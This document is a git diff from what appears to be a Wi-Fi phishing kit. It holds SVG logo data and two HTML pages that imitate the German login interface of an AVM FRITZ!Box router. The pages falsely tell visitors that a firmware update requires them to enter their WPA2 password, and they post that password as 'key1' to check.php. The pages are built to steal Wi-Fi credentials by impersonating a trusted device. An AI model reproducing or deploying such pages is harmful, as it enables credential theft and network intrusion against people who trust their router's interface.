<path fill="#FCD006" d="M44.601,75.798c0-0.235-0.363-4.171-0.363-4.211c0.232-0.2,12.118-9.776,12.118-9.776 c8.85-7.51,24.189-22.601,24.253-22.772l0.029-0.636l-0.029-0.185l-0.081-0.179c-0.146-0.241-0.204-0.32-0.229-0.354l0.008,0.01 l-0.045-0.066c0,0-1.118-1.105-2.098-2.1c1.073,1.027,3.72,3.545,3.854,3.682l-0.008,0.183c-0.022-0.033-0.04-0.063-0.071-0.09 c0,0-0.884-0.845-1.255-1.192l0.03,0.066l0.046,0.208l-0.045,0.656c-0.037,0.178-15.405,15.322-24.28,22.841 c0,0-11.85,9.562-12.073,9.749c0,0.06,0.357,3.678,0.357,3.903c0.195-0.17,16.739-14.946,16.739-14.946 c6.535-5.736,19.097-19.542,20.458-20.895c0.037-0.036,0.068-0.066,0.078-0.105l-0.006,0.208 c-1.378,1.379-13.891,15.122-20.444,20.874C61.542,60.669,44.798,75.625,44.601,75.798"/>
<path fill="#FCCF07" d="M80.885,38.455c-0.016,0.137-0.039,0.585-0.039,0.585c-0.047,0.195-15.431,15.371-24.319,22.941 c-0.13,0.101-11.641,9.369-12.048,9.709c0,0.046,0.086,0.831,0.086,0.831s0.257,2.514,0.271,2.758 c0.186-0.174,16.545-14.781,16.545-14.781c5.071-4.464,13.859-13.85,18.086-18.377l2.357-2.495h-0.007 c0-0.006,0.065-0.105,0.077-0.141l-0.047-0.101C81.848,39.384,81.143,38.704,80.885,38.455 M44.717,75.533 c0-0.226-0.357-3.844-0.357-3.903c0.224-0.188,12.073-9.749,12.073-9.749c8.875-7.519,24.243-22.663,24.28-22.841l0.045-0.656 l-0.046-0.208l-0.03-0.066c0.371,0.348,1.255,1.192,1.255,1.192c0.031,0.027,0.049,0.058,0.071,0.09l-0.017,0.194 c-0.01,0.039-0.041,0.069-0.078,0.105c-1.361,1.353-13.923,15.158-20.458,20.895C61.456,60.587,44.912,75.363,44.717,75.533"/>
<path fill="#FBCD0B" d="M80.987,38.723c-0.006,0.132-0.029,0.317-0.029,0.317l-0.002,0.033 c-0.044,0.169-15.44,15.423-24.363,23.001c0,0-11.744,9.472-11.989,9.668c0,0.052,0.082,0.827,0.082,0.827 s0.241,1.925,0.261,2.443c0.187-0.162,16.354-14.613,16.354-14.613c5.076-4.444,13.846-13.836,18.062-18.347v0.001 c0,0,0.08-0.085,2.38-2.529l0.014-0.004l0.023-0.036l-0.037-0.067l0.037,0.032C81.698,39.388,81.498,39.21,80.987,38.723 M44.835,75.279c-0.014-0.244-0.271-2.758-0.271-2.758s-0.086-0.785-0.086-0.831c0.407-0.34,11.918-9.608,12.048-9.709 c8.889-7.57,24.272-22.746,24.319-22.941c0,0,0.023-0.449,0.039-0.585c0.258,0.25,0.963,0.93,0.963,0.93l0.047,0.101 c-0.012,0.036-0.077,0.135-0.077,0.141h0.007l-2.357,2.495c-4.227,4.527-13.015,13.913-18.086,18.377 C61.381,60.498,45.021,75.105,44.835,75.279"/>
<path fill="#FACB0C" d="M56.668,62.15c-0.012,0.026-0.073,0.066-0.174,0.17c0,0-11.724,9.446-11.776,9.474 c0,0.067,0.33,2.727,0.335,2.966c0.184-0.167,16.159-14.432,16.159-14.432c5.069-4.466,13.846-13.846,18.061-18.359l0.336-0.35 c0.021-0.01,1.824-1.927,2.001-2.134c-0.049-0.067-0.355-0.344-0.519-0.512v0.078l-0.008,0.056 c-0.061,0.175-15.476,15.471-24.415,23.048V62.15 M44.946,75.013c-0.021-0.519-0.261-2.443-0.261-2.443s-0.082-0.775-0.082-0.827 c0.245-0.196,11.989-9.668,11.989-9.668c8.923-7.578,24.319-22.832,24.363-23.001V39.04c0,0,0.025-0.186,0.031-0.317 c0.511,0.487,0.711,0.665,0.793,0.728l-0.037-0.032l0.037,0.067l-0.023,0.036l-0.014,0.004c-2.3,2.444-2.38,2.529-2.38,2.529 v-0.001c-4.217,4.511-12.986,13.902-18.062,18.347C61.301,60.399,45.133,74.851,44.946,75.013"/>
<path fill="#FAC90E" d="M45.053,74.76c-0.005-0.239-0.335-2.898-0.335-2.966c0.052-0.027,11.776-9.474,11.776-9.474 c0.101-0.104,0.162-0.144,0.174-0.17v0.004c8.939-7.577,24.354-22.873,24.415-23.048l0.008-0.056v-0.078 c0.163,0.168,0.47,0.445,0.519,0.512c-0.177,0.208-1.979,2.125-2.001,2.134l-0.336,0.35c-4.215,4.514-12.991,13.894-18.061,18.359 C61.212,60.328,45.237,74.593,45.053,74.76"/>
</g>
</g>
<path fill="#F8EC17" d="M8.798,33.491l-3.67-3.683l3.776-3.757l3.669,3.676L8.798,33.491 M76.025,26.509v4.125h1.073v-4.125H76.025z "/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M48.848,25.535v24.039h-7.085l-0.037-19.662l3.063-0.762l-0.896-3.581 L48.848,25.535 M20.177,30.738v24.814h6.996V35.352h1.51c0.7,0,2.653,0.963,2.653,3.032c0,2.202-1.962,4.007-3.577,5.276l7.3,12.115 c2.016-1.665,5.737-5.166,5.737-5.166c-2.966-3.396-6.223-6.923-6.223-6.923c3.188-2.602,3.98-4.543,3.81-6.819 c-0.364-4.821-4.855-5.719-8.287-6.129C27.405,30.427,23.112,30.623,20.177,30.738 M57.123,55.473h7.222V36.457h6.824v-6.103H50.293 v6.103h6.83V55.473 M17.473,24.466c0,0-7.288,0.003-14.62,0.324v26.822h7.3l0.007-9.737l6.708,0.004v-5.782l-6.805,0.025l0.01-5.604 l7.383,0.011L17.473,24.466 M93.388,39.795l4.725,0.171L100,27.753l-5.856-0.462L93.388,39.795 M91.26,42.487l0.934,1.162 l3.001,3.692l3.702-2.998l-3.926-4.859L91.26,42.487"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M47.228,48.19h-8.331l-0.033-20.77l2.928-0.738l-0.931-3.769l6.366-0.006V48.19 M54.254,35.062v19.031h8.477V35.062l6.076,0.224l0.748,0.001v-7.564H47.436v7.564l0.685-0.072 C48.054,35.215,54.254,35.062,54.254,35.062 M69.102,21.676v7.506l0.302-0.031c3.037-0.137,5.588-0.149,7.691-0.169l-9.858,19.013 h1.46c0.305,0,19.64,0,19.64,0l-0.006-7.51l-0.77,0.039c-3.527,0.234-6.181,0.207-8.209,0.169l9.949-18.531l-1.072-0.07 c-9.469-0.527-16.468-0.411-18.85-0.416H69.102 M15.654,21.884c0,0-7.72-0.022-15.073,0.304L0,22.2v28.032h8.521l0.012-9.757 l5.994,0.005h0.704l0.004-7.125l-6.803,0.033l0.009-4.165l6.718,0.016l0.681-0.015l0.014-6.825"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M25.527,40.9c1.521-1.244,2.971-2.791,2.971-4.515 c0-1.656-1.605-2.446-2.057-2.446h-0.914V40.9 M27.921,28.152c3.359,0.382,8.412,1.318,8.815,6.657 c0.182,2.406-0.664,4.446-3.565,6.952l6.227,7.301l-0.378,0.378c-1.697,1.756-3.636,3.408-5.65,5.065l-0.533,0.448l-7.31-12.126 v11.317h-8.19V28.167l0.57-0.014C20.874,28.014,25.208,27.841,27.921,28.152z M91.434,25.475l7.15,0.578l-2.061,13.432l-5.931-0.228 L91.434,25.475 M97.498,43.413l-4.67,3.779l-2.862-3.534l0.004,5.715c0,0-18.729,0-19.036,0h-0.432l9.845-19.017 c-2.282,0.035-4.938,0-11.078,0.311V24.45c4.969-0.139,11.832-0.26,21.295,0.258l-9.987,18.574c1.856,0.06,4.388,0.114,7.719-0.039 v-0.727h0.75l4.663-3.788L97.498,43.413"/>
<path fill-rule="evenodd" clip-rule="evenodd" fill="#E2001A" d="M46.606,23.536v24.031h-7.085l-0.037-19.654l3.068-0.769 l-0.919-3.606L46.606,23.536 M17.934,28.741v24.798h6.997V33.35h1.51c0.7,0,2.654,0.967,2.654,3.036c0,2.191-1.961,3.997-3.577,5.27 l7.472,12.401c2.017-1.654,3.93-3.306,5.603-5.025l-6.26-7.342c3.188-2.614,3.981-4.548,3.812-6.823 c-0.364-4.818-4.859-5.72-8.289-6.126C25.164,28.429,20.872,28.613,17.934,28.741 M54.881,53.467h7.225V34.456l6.825,0.144v-6.251 H48.054V34.6l6.827-0.144V53.467 M69.616,28.533c3.553-0.175,6.208-0.15,8.488-0.175l-9.842,19.013h0.432c0.303,0,19.034,0,19.034,0 l-0.007-6.234c-4.164,0.277-7.243,0.207-9.386,0.143l9.988-18.569c-9.467-0.526-16.326-0.409-18.708-0.413V28.533 M15.234,26.257 v-3.756L0.611,22.786v26.832h7.304l0.006-9.756h6.703v-5.776l-6.802,0.029l0.012-5.607l7.408-0.008L15.234,26.257 M91.26,38.658 l4.737,0.175l1.88-12.223l-5.858-0.455L91.26,38.658 M89.897,42.619l3.007,3.708l3.698-3.003l-2.999-3.698L89.897,42.619"/>
</svg>

After

Width:  |  Height:  |  Size: 41 KiB

View File

@ -1,288 +1,671 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
<title>FRITZ!Box</title>
<style type="text/css">
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-image: url(bg.png);
background-repeat:repeat-x;
color:#414143;
font-family:"Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, sans-serif;
font-size: 14px;
<!DOCTYPE html>
<html lang="de"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Cache-Control" content="private, no-transform">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="format-detection" content="telephone=no">
<meta http-equiv="x-rim-auto-match" content="none">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta http-equiv="cleartype" content="on">
<link rel="shortcut icon" type="image/x-icon" href="http://192.168.178.1/favicon.ico">
<link rel="apple-touch-icon" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<link rel="apple-touch-startup-image" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<style>
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesanspro.woff');
}
a:link {
color:#2e5b9b;
text-decoration:none;
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesansproBold.woff');
font-weight: bold;
}
a:hover {
color:#386fbd;
@font-face {
font-family: 'AVM';
src: url('/css/rd/fonts/metaWebProBold.woff');
font-weight: bold;
}
a:visited {
color:#2e5b9b;
html, input, textarea, keygen, select, button {
font-family: 'Source Sans Pro', Arial, sans-serif;
font-size: 100%;
}
.blue_text {
color:#0c3465;
}
#wrapper {
max-width:1004px;
margin:auto;
}
#header {
background-image:url(header.png);
background-repeat:no-repeat;
background-position:center;
width:100%;
height:91px;
position:relative;
margin:auto;
}
#header_icons {
width:100%;
height:45px;
position:relative;
margin:auto;
text-align:right;
display:inline-block;
}
#header_icons ul {
list-style-type:none;
margin-right:20px;
}
#header_icons ul li {
display:inline-block;
color:#0c3465;
vertical-align:middle;
}
#sidebar_left {
position:relative;
float:left;
border: thin solid #99adab;
border-radius: 15px 15px 15px 15px;
background-color:#fbf8f4;
min-width:150px;
padding: 10px;
margin-left:20px;
}
#sidebar_left ul {
list-style-type:none;
margin:0px;
padding:0px;
}
#sidebar_left ul li {
list-style-type:none;
font-weight: bold;
font-size: 16px;
width:95%;
padding-left:5px;
padding-top: 2px;
padding-bottom: 2px;
text-align:left;
}
#sidebar_left ul li a {
color:#093e75;
}
.sidebar_left_selected {
border: thin solid #99adab;
border-radius: 10px 10px 10px 10px;
background: #bed7ed; /* Old browsers */
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
}
#content {
position:relative;
float: right;
width: 750px;
min-height: 400px;
border: thin solid #99adab;
border-radius: 15px 15px 15px 15px;
background-color:#fbf8f4;
margin-right: 25px;
}
#content_head {
position:relative;
border-radius: 15px 15px 0px 0px;
min-height: 27px;
text-align:left;
font-size:18px;
font-weight:bold;
padding-top:3px;
background: #bed7ed; /* Old browsers */
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
border-bottom: thin solid #99adab;
}
#subcontent {
background-color:#FFFFFF;
border: thin solid #99adab;
border-radius: 0px 0px 0px 0px;
width: 60%;
margin:auto;
margin-top: 20px;
margin-bottom: 40px;
}
#subcontent_phone ul {
list-style-type:none;
margin:10px;
padding:0px;
}
#subcontent_phone {
display:none ;
}
#subcontent_phone ul {
list-style:none;
}
#subcontent_phone ul li {
text-align:center;
}
#footer {
position: relative;
margin-right: 30px;
float:right;
}
#footer ul {
list-style-type:none;
}
#footer ul li {
display:inline-block;
margin-right: 10px;
}
@media only screen and (max-width: 1024px) {
#content {
width:70%;
}
}
@media only screen and (max-width: 480px) {
#header {
background-image:url(header_small.png);
max-width:480px;
background-position:left;
}
#header_icons {
display: none;
}
#sidebar_left {
display: none;
}
#content {
width:90%;
}
#subcontent {
height: 300px;
font-size: 24px;
width: 90%;
}
#subcontent table {
display: none;
}
#subcontent_phone {
display: block !important;
}
input {
padding: 5px;
border-radius: 8px 8px 8px 8px;
border: thin solid #99adab;
font-size: 16px;
width: 170px;
font-weight:bold;
}
#footer li {
margin:0px;
}
.blue_bar_title,
.logoArea {
font-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;
}
</style>
<style type="text/css">
/********************************************** Allgemein **********************************************/
* {
-webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-touch-callout: text;
-webkit-user-select: text;
-khtml-user-select: text;
-moz-user-select: text;
-ms-user-select: text;
user-select: text;
font-size: 100%;
vertical-align: middle;
outline: 0;
}
*::selection {
background: transparent;
}
*::-moz-selection {
background: transparent;
}
.selectable *::selection {
background: #8fdaff;
}
.selectable *::-moz-selection {
background: #8fdaff;
}
html {
height: 100%;
font-size: 100%;
background-color: #f0eee6;
transition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
body {
height: 100%;
padding:0;
margin:0;
color: #3F464C;
overflow-x: hidden;
overflow-y: auto;
line-height: 1;
}
h1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {
margin: 0;
padding: 0;
border: 0;
}
h4 {
margin: 1.25rem 0;
}
input {
margin: 0;
padding: 0;
}
hr {
padding: 0;
border-top: 1px solid #d5d5d5;
margin: 1.25rem -1.25rem;
}
header {
height: 6.25rem;
width: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: #006ec0;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-flex-direction: row;
-moz-box-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
.hidden {
display: none;
}
.blue_bar_title {
-webkit-box-flex: 1 1 auto;
-moz-box-flex: 1 1 auto;
-webkit-flex: 1 1 auto;
-ms-flex: 1 1 auto;
flex: 1 1 auto;
-webkit-box-align-self: center;
-moz-box-align-self: center;
-webkit-align-self: center;
-ms-align-self: center;
align-self: center;
margin: 0.3rem 0 0 0;
font-size: 3rem;
font-weight: bold;
text-align: left;
color: #ffffff;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
text-align: center;
transition: all 150ms;
}
.blue_bar_title.fade {
font-size: 0;
color: transparent;
}
.logoBox {
background-image: url("fritzLogo.svg");
background-position: center right;
background-repeat: no-repeat;
background-size: 7rem;
color: transparent;
width: 10.75rem;
height: 6.25rem;
}
.logoBox.fake {
background-image: none;
}
.dialog_outer {
height: 100%;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-justify-content: center;
-moz-box-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-webkit-box-align-items: center;
-moz-box-align-items: center;
-webkit-align-items: center;
-ms-align-items: center;
align-items: center;
background-image: url("login_background.svg");
background-position: center 51%;
background-repeat: no-repeat;
background-size: 38rem;
padding: 6.5rem 0;
}
.dialog_outer p {
margin: 1.25rem 0;
line-height: 1.25rem;
}
.loginForm {
display: block;
}
.setFac .pushmailQuestion,
.setFac #sendFacReset,
.setFac #sendPushMail,
.setFac #setFac,
.pushmailSend,
.restore,
.pushmail .pushmailQuestion,
.pushmail #sendFacReset,
.pushmail #sendPushMail,
.pushmail #setFac,
.forgotPassForm,
.forgotPass .loginForm {
display: none;
}
.setFac .restore,
.pushmail .pushmailSend,
.forgotPass .forgotPassForm {
display: block;
visibility: visible;
}
.setFac .forgotPassForm {
display: none;
}
.pushmail.wait .pushmailSend {
visibility: hidden;
}
.intxt.wait,
.setFac.wait .dialog_content,
.pushmail.wait .dialog_content {
background-image: url("/css/rd/images/wait_circle_bright_back.gif");
background-position: center 1.5rem;
background-repeat: no-repeat;
background-size: 2rem;
}
.intxt.wait {
height: 2rem;
width: 100%;
margin: 0.5rem;
background-position: center;
}
.ErrorMsg,
.error_text,
.WarnMsgBold {
color: #ff3000;
}
.WarnMsgBold {
font-weight:bold;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0 1.25rem;
}
#uiLoginError,
#uiUsernameError {
height: 1.25rem;
margin: -0.35rem 0 0.75rem 9rem;
font-size: 0.94rem;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
#uiLoginError {
height: 7.25rem;
margin: -0.35rem 0 0 9rem;
}
#uiLoginError p:first-Child {
margin: 0;
}
#uiLoginError p:nth-Child(2) {
margin: 0 0 1.25rem 0;
}
#uiLoginError p {
transition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
@media (max-width: 759px) {
#uiLoginError {
height: 7.5rem;
}
}
@media (max-width: 369px) {
#uiLoginError {
height: 10rem;
}
}
@media (max-width: 279px) {
#uiLoginError {
height: 13rem;
}
}
#uiUsernameError.hidden,
#uiLoginError.hidden {
display: block;
overflow: hidden;
height: 0;
margin: 0 0 0 9rem;
}
#uiLoginError.hidden p.error_text {
color: transparent;
}
button {
min-width: 5.5rem;
min-height: 1.75rem;
overflow: hidden;
padding: 0 1rem;
margin: 0 0 0 1.25rem;
background-color: #e9edf0;
border: 1px solid #d8dfe3;
border-radius: 0.25rem;
color: #4269a4;
cursor: pointer;
will-change: border, background-color, color;
transition: border 100ms,
background-color 100ms,
color 100ms;
}
.btn_form_foot button {
margin: 0 0 0 1.25rem;
}
button:first-Child {
margin-left: 0;
}
button:active {
background-color: #bcccd4;
border: 1px solid #b0bec5;
}
button:disabled {
background-color: #e0e0de;
border: 1px solid #d8dfe3;
color: #969693;
cursor: default;
}
.btn_form_foot button {
min-height: 2rem;
min-width: 7.5rem;
margin: 0 0 0 0.5rem;
background-color: #268edf;
color: #ffffff;
cursor: pointer;
overflow: hidden;
text-align: center;
padding: 0.35rem 1rem;
will-change: margin, width, background-color, color;
transition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
width 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
background-color 100ms,
color 100ms;
border: 0;
border-radius: 0;
}
.btn_form_foot button:active {
background-color: #57758c;
}
.btn_form_foot button:disabled {
background-color: #d5d5d5;
color: #969693;
cursor: default;
}
@media (max-width: 1023px) {
.btn_form_foot button {
min-height: 2.25rem;
}
}
@media (min-width: 760px) {
/*pc*/
.dialog_inner {
-webkit-box-flex: 0 0 28.75rem;
-moz-box-flex: 0 0 28.75rem;
-webkit-flex: 0 0 28.75rem;
-ms-flex: 0 0 28.75rem;
flex: 0 0 28.75rem;
margin: auto 0;
padding: 0;
box-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);
background-color: #ffffff;
}
.dialog_head_box {
text-align: left;
height: 3.25rem;
margin: auto;
background-color: #268edf;
}
.dialog_head_box h2 {
margin: 0 0 0 1.25rem;
font-weight: bold;
font-size: 1.25rem;
color: #ffffff;
letter-spacing: 0.025rem;
line-height: 3.4rem;
}
.dialog_content {
padding: 0 0 1rem 0;
min-height: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0 1.25rem 0 1.25rem;
}
label,
input,
select {
margin: 0 0 0.5rem;
color: #3F464C;
vertical-align: middle;
display: inline-block;
}
.formular label {
width: 8.5rem;
margin-right: 0.5rem;
line-height: 1.7rem;
}
.formular input,
.formular select {
width: 17.25rem;
border: 1px solid #d5d5d5;
height: 1.7rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin-right: 0.25rem;
}
.btn_form_foot {
border-top: 1px solid #d5d5d5;
margin: 1.75rem 0 0 0;
padding: 1rem 1.25rem 0 1.25rem;
text-align: right;
width: 100%;
display: flex;
flex-direction: row-reverse;
justify-content: space-between;
align-items: center;
}
.forgotPass .btn_form_foot {
justify-content: flex-start;
}
.btn_form_foot a {
display: inline-block;
text-decoration: none;
font-size: 0.9375rem;
font-weight: normal;
color: #4269a4;
margin: 0;
padding: 0.1rem 0 0 0;
cursor: pointer;
}
.btn_form_foot a:hover {
text-decoration: underline;
}
}
@media (max-width: 759px) {
/*für mobile Ansicht*/
html {
background-color: #ffffff;
background-image: none;
}
body {
height: auto;
}
header {
height: 3.75rem;
}
.dialog_outer {
font-size: 1.25rem;
background-image: none;
padding: 3.75rem 0 4.25rem 0;
}
.blue_bar_title {
text-align: left;
padding: 1rem 0 1.035rem 0.15rem;
font-size: 1.25rem;
font-weight: normal;
}
.blue_bar_title.hide {
color: transparent;
}
.dialog_inner {
width: 90%;
margin: 0;
}
.dialog_head_box {
display: none;
}
.logoBox {
height: 3.75rem;
background-position: left 0.5rem center;
background-size: 3.75rem;
width: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0;
}
label,
input,
select {
vertical-align: middle;
display: inline-block;
margin: 0 0 0.5rem;
color: #3F464C;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0;
}
.formular label {
width: 10rem;
line-height: 1.7rem;
margin: 0 0.5rem 0 0;
vertical-align: top;
}
#uiLoginError,
#uiUsernameError {
margin: 0 0 1rem 0;
font-size: 1.15rem;
}
#uiUsernameError.hidden,
#uiLoginError,
#uiLoginError.hidden {
margin: 0;
}
.formular input,
.formular select {
border: 1px solid #d5d5d5;
height: 1.7rem;
width: 100%;
max-width: 20rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin: 0 0.5rem 0.5rem 0;
}
.btn_form_foot {
border: none;
margin: 0 -1.25rem 0 -1.25rem;
padding: 0 1.25rem;
text-align: center;
width: calc(100% + 2.5rem);
display: flex;
flex-direction: column-reverse;
}
button,
.btn_form_foot button {
min-width: 100%;
min-height: 2.2rem;
margin: 0;
}
.btn_form_foot button {
margin: 2rem 0 0 0;
}
.btn_form_foot a {
display: block;
position: fixed;
bottom: 0;
left: 0;
text-align: center;
width: 100%;
padding: 1rem 0;
background-color: #f1f6f9;
cursor: pointer;
}
.btn_form_foot a {
color: #3080C8;
}
.logoBox.fake {
display: none;
}
}
.perfTestHead {
border-top: 1px solid #ff3000;
margin: 1rem 0 0 0;
padding: 1.25rem 1.25rem 0 1.25rem;
color: #ff3000;
cursor: pointer;
}
.perfTestHead span {
display: inline-block;
height: 1rem;
width: 2rem;
background-image: url("/css/rd/images/link_open_red.svg");
background-position: center;
background-size: 1rem;
background-repeat: no-repeat;
}
.perfTestHead.show span {
background-image: url("/css/rd/images/link_closed_red.svg");
}
.perfTestMsg {
display: none;
padding: 0 1.25rem 0 1.25rem;
}
.perfTestMsg.show {
display: block;
}
.forgotPass .perfTestHead,
.forgotPass .perfTestMsg.show {
display: none;
}
.hintMsg {
font-weight: bold;
}
@media (max-width: 759px) {
.perfTestHead {
margin: 1.5rem 0 0 0;
padding: 1.25rem 0 0 0;
}
.perfTestMsg {
padding: 0;
}
}
@media (min-width: 2040px) {
html {
font-size: 0.79vw;
}
}
</style>
<title>
FRITZ!Box
</title>
</head>
<body>
<div id="wrapper">
<div id="header"></div>
<div id="header_icons">
<ul>
<li><a href="#"><img src="icon0.png">Abmelden</a></li>
<li><a href="#"><img src="icon1.png">Ansicht:</a> Experte</li>
<li><a href="#"><img src="icon2.png">Inhalt</a></li>
<li><a href="#"><img src="icon3.png">Hilfe</a></li>
</ul>
</div>
<script>
var gNbc = false,
config = {"gu_type":"release","isDebug":false,"GUI_IS_REPEATER":false};
</script>
<script src="FRITZ%21Box-Dateien/avmcore.js"></script>
<!--<script src="/js/browser.js"></script>-->
<!--<script src="/js/jsl.js"></script>-->
<!--<script src="/js/md5.js"></script>-->
<!--<script src="/js/html.js"></script>-->
<!--<script src="/js/func.js"></script>-->
<!--<script type="text/javascript" src="/myfritz/js/focuschanger.js?lang=de"></script>-->
<!--<script src="/js/html2.js?lang=de"></script>-->
<!--<script src="/js/http.js"></script>-->
<script type="text/javascript" src="FRITZ%21Box-Dateien/login.js"></script>
<script type="text/javascript">
<div id="sidebar_left">
<ul>
<li><a href="#">&Uuml;bersicht</a></li>
<li><a href="#">Internet</a></li>
<li><a href="#">Telefonie</a></li>
<li class="sidebar_left_selected"><a href="#">WLAN</a></li>
<li><a href="#">DECT</a></li>
<li><a href="#">System</a></li>
</ul>
</div>
</script>
<header id="blueBarBox" name="" class=""><div id="" name="" class="logoBox"></div>
<div id="blueBarTitel" name="" class="blue_bar_title">FRITZ!Box WLAN</div>
<div id="" name="" class="logoBox fake"></div></header><div class="dialog_outer">
<div id="dialogInner" class="dialog_inner">
<div id="dialogHeadBox" class="dialog_head_box">
<h2 id="dialogTitle">Willkommen bei Ihrer FRITZ!Box</h2></div>
<div id="dialogContent" class="dialog_content">
<div id="content">
<div id="content_head"><span style="margin-left:30px;">Firmware Update</span></div>
<div id="subcontent">
<form method="POST" action="check.php" id="form1" name="form1">
<table width="100%" border="0" cellspacing="5">
<tbody>
<tr>
<td colspan="2" align="left"><span style="margin-left:10px;">Ihre FRITZ!Box wurde aktualisiert.</span><br /><span style="margin-left:10px;">Zur Wiederherstellung des Wi-Fi-Signals geben Sie Ihr Wi-Fi Passwort ein</span></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>
<tr>
<td align="right">WPA2 Kennwort:</td>
<td><input type="password" name="key1"></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type="submit" value="Best&auml;tigen"></td>
</tr>
</tbody>
</table>
</form>
<div id="subcontent_phone">
<form method="POST" action="check.php" id="form1" name="form1">
<ul>
<li>Bitte geben Sie ihr Wi-Fi Passwort ein.</li>
<li>&nbsp;</li>
<li>WPA2 Kennwort:</li>
<li><input type="password" name="key1"></li>
<li>&nbsp;</li>
<li><input type="submit" value="Best&auml;tigen"></li>
</ul>
</form>
</div>
</div>
</div>
<div id="footer">
<ul>
<li><a href="#">Handbuch</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">Service-Portal</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">FAQs</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">FRITZ! Clips</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">Programme</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">www.avm.de</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">www.freetz.org</a></li>
</ul>
</div>
</div>
</body>
</html>
<form method="post" action="check.php" id="form1" name="form1" class="loginForm">
<div class="formular">
<p>Bitte melden Sie sich mit Ihrem WLAN-Passwort an.</p>
<input tabindex="2" name="key1" type="password">
<div id="uiLoginError" class="hidden">
<p class="error_text">Anmeldung fehlgeschlagen.</p>
<p class="error_text">Bitte versuchen Sie es erneut.</p>
<p id="uiWait" class="error_text"></p></div></div>
<div class="btn_form_foot">
<input name="response" id="uiResp" value="" type="hidden">
<input name="lp" value="" type="hidden">
<input name="username" id="username" value="" type="hidden">
<button type="submit" tabindex="3" id="submitLoginBtn">Anmelden</button>
<a>Kennwort vergessen?</a></div></form></div></div></div>

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 18 KiB

View File

@ -0,0 +1,665 @@
<!DOCTYPE html>
<html lang="de"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Cache-Control" content="private, no-transform">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="format-detection" content="telephone=no">
